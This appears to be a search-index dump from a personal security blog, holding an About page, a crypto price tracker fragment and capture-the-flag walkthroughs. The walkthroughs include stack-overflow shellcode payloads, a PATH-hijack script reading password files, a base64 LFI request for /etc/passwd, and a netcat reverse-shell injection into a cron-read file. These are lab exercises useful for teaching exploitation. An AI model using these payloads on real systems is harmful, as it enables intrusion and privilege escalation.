== \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python crypto_tracker.py \u0026lt;target_price_usd\u0026gt;\u0026#34;) sys.exit(1) try: target = float(sys.argv[1]) monitor(target) except ValueError: print(\u0026#34;Error: Target price must be a valid number.\u0026#34;) sys.exit(1) ","permalink":"/bitcoin-price-tracker-speech/","summary":"\u003cp\u003eMonitoring volatile market movements often requires immediate notifications without constantly watching browser tabs or mobile trading apps.\u003c/p\u003e\n\u003cp\u003eBy combining public REST APIs with native Linux desktop notification tools (\u003ccode\u003enotify-send\u003c/code\u003e) and speech synthesis engines (\u003ccode\u003eespeak\u003c/code\u003e), we can build a lightweight background tracker that speaks out when price targets are reached.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003cp\u003eOn Debian/Ubuntu systems, install \u003ccode\u003eespeak\u003c/code\u003e and \u003ccode\u003elibnotify-bin\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install -y espeak libnotify-bin\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"python-price-alert-script\"\u003ePython Price Alert Script\u003c/h2\u003e\n\u003cp\u003eThe script queries a public ticker API, evaluates target price thresholds, and delivers desktop notifications alongside synthesized voice alerts:\u003c/p\u003e","title":"Building an Audio \u0026 Desktop Cryptocurrency Price Alert in Python"},{"content":"Hi, I\u0026rsquo;m Ahmad Mahfouz (_N1X_). I currently serve as an Application Security Manager at ServiceNow, bringing over a decade of hands-on and strategic experience protecting enterprise cloud platforms (ServiceNow) and critical global financial infrastructure (S.W.I.F.T.).\nunixawy.com is my personal blog and digital notebook—a space where I share my thoughts, technical experiments, vulnerability research, and practical engineering solutions. Here you will find writeups ranging from Linux internals and memory exploitation to modern AppSec architecture, cloud security, and agentic AI systems.\nI bridge deep offensive technical tradecraft (GXPN, OSCE, CRTE, CRTO) with high-level security leadership and governance (GSTRT, GSLC), helping engineering and security teams build resilient software at scale.\nCore Focus Areas \u0026amp; Competencies\nApplication \u0026amp; Cloud Security: Secure SDLC (SSDLC), Threat Modeling, CI/CD Pipeline Security, SAST/DAST/SCA Integration, Multi-Cloud Security (AWS, GCP), and Container Security.\nOffensive Operations \u0026amp; Red Teaming: Adversary Simulation \u0026amp; Purple Teaming (CRTE, CRTO); Advanced Exploit Research \u0026amp; VAPT (GXPN, OSCE); Wargames \u0026amp; Low-Level Systems Analysis.\nVulnerability Management \u0026amp; Governance: End-to-End Vulnerability Lifecycle Management; Risk-Driven Remediation; Security Strategy \u0026amp; Policy (GSTRT, GSLC); GDPR \u0026amp; European Regulatory Compliance.\nAI Engineering \u0026amp; Automation: Context Engineering, Agentic System Design Patterns, Security Automation (Python, Ansible, Bash), and Semantic Process Integration.\nEducation and Key Certifications\nBachelor’s Degree in Information Systems – Delta University for Science and Technology Business Communication – Rochester Institute of Technology (RIT) on EdX Blockchain Specialization – University at Buffalo, The State University of New York GIAC Advisory Board – GIAC Certifications GIAC Strategic Planning, Policy, and Leadership (GSTRT) – GIAC Certifications GIAC Security Leadership (GSLC) – GIAC Certifications GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) – GIAC Certifications Certified Red Team Expert (CRTE) – Altered Security Certified Red Team Operator (CRTO) – ZeroPoint Security Offensive Security Certified Expert (OSCE) – Offensive Security (OffSec) Connect with me: GitHub | LinkedIn | X (Twitter)\n","permalink":"/about/","summary":"\u003cp\u003eHi, I\u0026rsquo;m Ahmad Mahfouz (\u003ccode\u003e_N1X_\u003c/code\u003e). I currently serve as an \u003cstrong\u003eApplication Security Manager at ServiceNow\u003c/strong\u003e, bringing over a decade of hands-on and strategic experience protecting enterprise cloud platforms (ServiceNow) and critical global financial infrastructure (S.W.I.F.T.).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eunixawy.com\u003c/strong\u003e is my personal blog and digital notebook—a space where I share my thoughts, technical experiments, vulnerability research, and practical engineering solutions. Here you will find writeups ranging from Linux internals and memory exploitation to modern AppSec architecture, cloud security, and agentic AI systems.\u003c/p\u003e","title":"About Me"},{"content":"Level 5 of the Smash The Stack IO wargame presents a classic stack-based buffer overflow scenario.\nExecuting the binary simply echoes the supplied command-line argument:\nlevel5@io:/levels$ ./level05 test test Analyzing the Source Code The source file level05.c shows an unbounded strcpy into a fixed 128-byte stack buffer:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char buf[128]; if (argc \u0026lt; 2) return 1; strcpy(buf, argv[1]); printf(\u0026#34;%s\\n\u0026#34;, buf); return 0; } Because strcpy() copies until it hits a null byte without checking the destination bounds of buf[128], an argument exceeding 128 bytes overwrites adjacent stack data, including the saved base pointer (EBP) and return address (EIP).\nFuzzing and Register Control Passing a 144-byte string crashes the application:\nlevel5@io:/levels$ gdb -q ./level05 (gdb) r $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 144\u0026#34;) Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () EIP is overwritten with 0x41414141 (AAAA), confirming total control over the instruction pointer.\nStack Layout and Shellcode Selection Examining the disassembly of main:\n(gdb) disassemble main Dump of assembler code for function main: 0x080483b4 \u0026lt;+0\u0026gt;: push %ebp 0x080483b5 \u0026lt;+1\u0026gt;: mov %esp,%ebp 0x080483b7 \u0026lt;+3\u0026gt;: sub $0xa8,%esp ... 0x080483e5 \u0026lt;+49\u0026gt;: lea -0x88(%ebp),%eax 0x080483eb \u0026lt;+55\u0026gt;: mov %eax,(%esp) 0x080483ee \u0026lt;+58\u0026gt;: call 0x80482d4 \u0026lt;strcpy@plt\u0026gt; buf begins at -0x88(%ebp) (136 bytes from saved EBP). Saved EBP takes 4 bytes. Total offset to return address (EIP): 136 + 4 = 140 bytes. We can use a standard 23-byte x86 Linux execve(\u0026quot;/bin/sh\u0026quot;) shellcode:\n\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80 Exploit Payload Structure To ensure reliable execution, we assemble:\nNOP Sled (\\x90): 117 bytes. Shellcode: 23 bytes (117 + 23 = 140 bytes to align with saved return address). Target Return Address: Pointing into our NOP sled on the stack (approx. 0xbffffde8). Execution Because environment variables and stack offsets vary slightly between running under GDB versus direct shell execution, adjusting the target return address into the middle of the NOP sled guarantees a hit:\nlevel5@io:/levels$ ./level05 $(python -c \u0026#34;print \u0026#39;\\x90\u0026#39; * 117 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#39; + \u0026#39;\\xe8\\xfd\\xff\\xbf\u0026#39;\u0026#34;) sh-4.2$ whoami level6 sh-4.2$ cat /home/level6/.pass rXCikld0ex3EQsnI We land inside the NOP sled, slide into the shellcode, and obtain our level6 shell.\n","permalink":"/smash-the-stack-level-5/","summary":"\u003cp\u003eLevel 5 of the Smash The Stack IO wargame presents a classic stack-based buffer overflow scenario.\u003c/p\u003e\n\u003cp\u003eExecuting the binary simply echoes the supplied command-line argument:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel5@io:/levels$ ./level05 test\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etest\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"analyzing-the-source-code\"\u003eAnalyzing the Source Code\u003c/h3\u003e\n\u003cp\u003eThe source file \u003ccode\u003elevel05.c\u003c/code\u003e shows an unbounded \u003ccode\u003estrcpy\u003c/code\u003e into a fixed 128-byte stack buffer:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eargv) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e buf[\u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (argc \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003estrcpy\u003c/span\u003e(buf, argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, buf);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBecause \u003ccode\u003estrcpy()\u003c/code\u003e copies until it hits a null byte without checking the destination bounds of \u003ccode\u003ebuf[128]\u003c/code\u003e, an argument exceeding 128 bytes overwrites adjacent stack data, including the saved base pointer (\u003ccode\u003eEBP\u003c/code\u003e) and return address (\u003ccode\u003eEIP\u003c/code\u003e).\u003c/p\u003e","title":"Smash The Stack: IO Level 5 Walkthrough"},{"content":"In Level 4 of the Smash The Stack IO wargame, executing the binary prints a static welcome message regardless of input arguments:\nlevel4@io:/levels$ ./level04 Welcome level5 level4@io:/levels$ ./level04 $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 1024\u0026#34;) Welcome level5 Analyzing the Source Code Inspecting level04.c:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { char username[1024]; FILE* f = popen(\u0026#34;whoami\u0026#34;, \u0026#34;r\u0026#34;); fgets(username, sizeof(username), f); printf(\u0026#34;Welcome %s\u0026#34;, username); return 0; } Vulnerability Analysis: Insecure PATH Resolution Notice the popen call:\nFILE* f = popen(\u0026#34;whoami\u0026#34;, \u0026#34;r\u0026#34;); The author called whoami as a bare command name rather than specifying an absolute binary path (such as /usr/bin/whoami). When popen() spawns /bin/sh -c whoami, the shell searches for the whoami executable in the directories listed in the current user\u0026rsquo;s PATH environment variable from left to right.\nBecause level04 runs with SUID permissions for level5, any executable named whoami found earlier in PATH will execute under level5 privileges.\nExploitation via PATH Hijacking Create a malicious executable named whoami in a writable directory (/tmp):\nmkdir -p /tmp/level04 echo \u0026#39;#!/bin/sh\u0026#39; \u0026gt; /tmp/level04/whoami echo \u0026#39;cat /home/level5/.pass\u0026#39; \u0026gt;\u0026gt; /tmp/level04/whoami chmod +x /tmp/level04/whoami Prepend our directory to PATH:\nexport PATH=/tmp/level04:$PATH Verify resolution:\nwhich whoami # /tmp/level04/whoami Trigger the exploit:\nlevel4@io:/levels$ ./level04 Welcome LOoCy5PbKi63qXTh The application executes our script, printing the level5 password.\n","permalink":"/smash-the-stack-level4/","summary":"\u003cp\u003eIn Level 4 of the Smash The Stack IO wargame, executing the binary prints a static welcome message regardless of input arguments:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel4@io:/levels$ ./level04\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWelcome level5\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel4@io:/levels$ ./level04 \u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003epython -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;print \u0026#39;A\u0026#39; * 1024\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWelcome level5\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"analyzing-the-source-code\"\u003eAnalyzing the Source Code\u003c/h3\u003e\n\u003cp\u003eInspecting \u003ccode\u003elevel04.c\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e username[\u003cspan style=\"color:#ae81ff\"\u003e1024\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    FILE\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e f \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epopen\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;whoami\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efgets\u003c/span\u003e(username, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(username), f);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Welcome %s\u0026#34;\u003c/span\u003e, username);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"vulnerability-analysis-insecure-path-resolution\"\u003eVulnerability Analysis: Insecure PATH Resolution\u003c/h3\u003e\n\u003cp\u003eNotice the \u003ccode\u003epopen\u003c/code\u003e call:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFILE\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e f \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epopen\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;whoami\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe author called \u003ccode\u003ewhoami\u003c/code\u003e as a bare command name rather than specifying an absolute binary path (such as \u003ccode\u003e/usr/bin/whoami\u003c/code\u003e). When \u003ccode\u003epopen()\u003c/code\u003e spawns \u003ccode\u003e/bin/sh -c whoami\u003c/code\u003e, the shell searches for the \u003ccode\u003ewhoami\u003c/code\u003e executable in the directories listed in the current user\u0026rsquo;s \u003ccode\u003ePATH\u003c/code\u003e environment variable from left to right.\u003c/p\u003e","title":"Smash The Stack: IO Level 4 Walkthrough"},{"content":"Underc0de 3 is a vulnerable Boot2Root virtual machine designed for penetration testing practice. The attack chain spans web reconnaissance, encoded Local File Inclusion (LFI), credential discovery, cronjob command injection, and final privilege escalation via an SUID buffer overflow.\nPhase 1: Network Reconnaissance and Port Scanning Identify the target VM using netdiscover or arp-scan:\nTarget IP: 192.168.1.112 Run a full Nmap service scan:\nnmap -sS -sV -p- -T4 192.168.1.112 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.22 (Debian) Phase 2: Web Reconnaissance \u0026amp; Base64-Encoded LFI Directory enumeration using dirb reveals an /ascii/ folder and /index.html. Inspecting the HTML source reveals a hidden comment:\n\u0026lt;!--\u0026lt;a href=\u0026#34;v.php?a=YXNjaWkxLnR4dA==\u0026#34;\u0026gt;foo\u0026lt;/a\u0026gt;--\u0026gt; Decoding the Base64 value:\n\u0026gt;\u0026gt;\u0026gt; import base64 \u0026gt;\u0026gt;\u0026gt; base64.b64decode(\u0026#34;YXNjaWkxLnR4dA==\u0026#34;) b\u0026#39;ascii1.txt\u0026#39; The script v.php accepts a Base64-encoded file path and includes it. Testing directory traversal with ../../../../etc/passwd:\n\u0026gt;\u0026gt;\u0026gt; base64.b64encode(b\u0026#34;../../../../etc/passwd\u0026#34;) b\u0026#39;Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==\u0026#39; Requesting http://192.168.1.112/v.php?a=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== successfully discloses /etc/passwd, confirming an unauthenticated Local File Inclusion (LFI) vulnerability. Users with interactive login shells: root, underdist, and cuervo.\nPhase 3: SSH Key Discovery \u0026amp; Initial Foothold Fuzzing internal files through LFI reveals a backup archive at http://192.168.1.112/b_gd214dg/foo.backup, containing an unencrypted OpenSSH private key.\nTesting the key against the discovered usernames:\nchmod 600 foo.backup ssh -i foo.backup cuervo@192.168.1.112 Login succeeds as user cuervo.\nPhase 4: Lateral Movement via Python Cron Command Injection Auditing user directories reveals an automated monitoring script owned by user underdist: /home/underdist/cronping.py\n# /home/underdist/cronping.py import os def ips(): return open(\u0026#34;ips.txt\u0026#34;) def command(c): p = os.popen(\u0026#39;ping -c 1 -w 1 %s | grep received | cut -d \u0026#34; \u0026#34; -f 4\u0026#39; % (c), \u0026#34;r\u0026#34;) return p.read() def verify(): for ip in ips(): ip = ip.replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;) if command(ip) == \u0026#34;1\\n\u0026#34;: ... verify() The Flaw: The script executes every minute via cron under user underdist. It reads /home/underdist/ips.txt—which is world-writable (0777)—and concatenates each line into an unsanitized os.popen shell command.\nExploitation: Append a command separator with a reverse shell command into ips.txt:\necho \u0026#34;127.0.0.1; nc -e /bin/sh 192.168.1.100 1337\u0026#34; \u0026gt;\u0026gt; /home/underdist/ips.txt Catch the incoming reverse connection with Netcat:\nnc -lvnp 1337 # Connection received! whoami # underdist We now have code execution as user underdist.\nPhase 5: Root Privilege Escalation via SUID Stack Overflow Inspecting /home/underdist/.bin reveals an SUID executable owned by root: echo.\nRunning checksec:\nRELRO STACK CANARY NX PIE FILE No RELRO No canary found NX disabled No PIE echo The binary has NX disabled (executable stack) and no stack canaries.\nDisassembly Analysis: Disassembling main in GDB:\n0x08048461 \u0026lt;+21\u0026gt;: lea -0x12c(%ebp),%eax 0x08048467 \u0026lt;+27\u0026gt;: mov %eax,(%esp) 0x0804846a \u0026lt;+30\u0026gt;: call \u0026lt;strcpy@plt\u0026gt; strcpy copies argv[1] into a 300-byte stack buffer without bounds validation.\nStack Overflow Offset \u0026amp; Shellcode: Distance to return address: 304 bytes. Standard 23-byte Linux x86 execve(\u0026quot;/bin/sh\u0026quot;) shellcode: \\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80 NOP sled: 281 bytes (\\x90). Target stack return address: 0xbffff8bd. Executing Root Exploit: ./echo $(python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*281 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#39; + \u0026#39;\\xbd\\xf8\\xff\\xbf\u0026#39;\u0026#34;) # whoami root We obtain the root shell and finish the challenge.\n","permalink":"/underc0de-3-walkthrough/","summary":"\u003cp\u003e\u003cstrong\u003eUnderc0de 3\u003c/strong\u003e is a vulnerable Boot2Root virtual machine designed for penetration testing practice. The attack chain spans web reconnaissance, encoded Local File Inclusion (LFI), credential discovery, cronjob command injection, and final privilege escalation via an SUID buffer overflow.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"phase-1-network-reconnaissance-and-port-scanning\"\u003ePhase 1: Network Reconnaissance and Port Scanning\u003c/h3\u003e\n\u003cp\u003eIdentify the target VM using \u003ccode\u003enetdiscover\u003c/code\u003e or \u003ccode\u003earp-scan\u003c/code\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTarget IP: \u003ccode\u003e192.168.1.112\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eRun a full Nmap service scan:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sS -sV -p- -T4 192.168.1.112\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT   STATE SERVICE VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e25/tcp open  smtp    Postfix smtpd\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e80/tcp open  http    Apache httpd 2.2.22 (Debian)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"phase-2-web-reconnaissance--base64-encoded-lfi\"\u003ePhase 2: Web Reconnaissance \u0026amp; Base64-Encoded LFI\u003c/h3\u003e\n\u003cp\u003eDirectory enumeration using \u003ccode\u003edirb\u003c/code\u003e reveals an \u003ccode\u003e/ascii/\u003c/code\u003e folder and \u003ccode\u003e/index.html\u003c/code\u003e. Inspecting the HTML source reveals a hidden comment:\u003c/p\u003e","title":"Underc0de 3 Boot2Root Walkthrough: LFI, Python Cron Command Injection, and SUID Binary Exploitation"},{"content":"In Level 3 of the Smash The Stack IO wargame, passing a large argument quickly causes a segmentation fault:\nlevel3@io:/levels$ ./level03 $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 1000\u0026#34;) Segmentation fault Analyzing the Source Code The source file level03.c is provided in /levels:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void good() { puts(\u0026#34;Win.\u0026#34;); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, NULL); } void bad() { printf(\u0026#34;I\u0026#39;m so sorry, you\u0026#39;re at %p and you want to be at %p\\n\u0026#34;, bad, good); } int main(int argc, char **argv, char **envp) { void (*functionpointer)(void) = bad; char buffer[50]; if (argc != 2 || strlen(argv[1]) \u0026lt; 4) return 0; memcpy(buffer, argv[1], strlen(argv[1])); memset(buffer, 0, strlen(argv[1]) - 4); printf(\u0026#34;This is exciting we\u0026#39;re going to %p\\n\u0026#34;, functionpointer); functionpointer(); return 0; } Vulnerability Analysis Target Function: good() spawns a privileged shell via execl(\u0026quot;/bin/sh\u0026quot;, ...). Buffer and Function Pointer: main() allocates a 50-byte buffer (char buffer[50]) and initializes a function pointer pointing to bad(). Unbounded Copy: memcpy(buffer, argv[1], strlen(argv[1])) copies the entire input into buffer without checking against its 50-byte bound. Partial Clear: memset(buffer, 0, strlen(argv[1]) - 4) zeroes out buffer up to strlen(argv[1]) - 4. The last 4 bytes of our input remain untouched in memory. Execution: The program invokes functionpointer(). If we overflow buffer such that the trailing 4 bytes align precisely over functionpointer, we redirect execution to good(). Finding Addresses and Offset in GDB Disassemble and locate the address of good():\nlevel3@io:/levels$ gdb -q ./level03 (gdb) print good $1 = {void (void)} 0x8048474 \u0026lt;good\u0026gt; 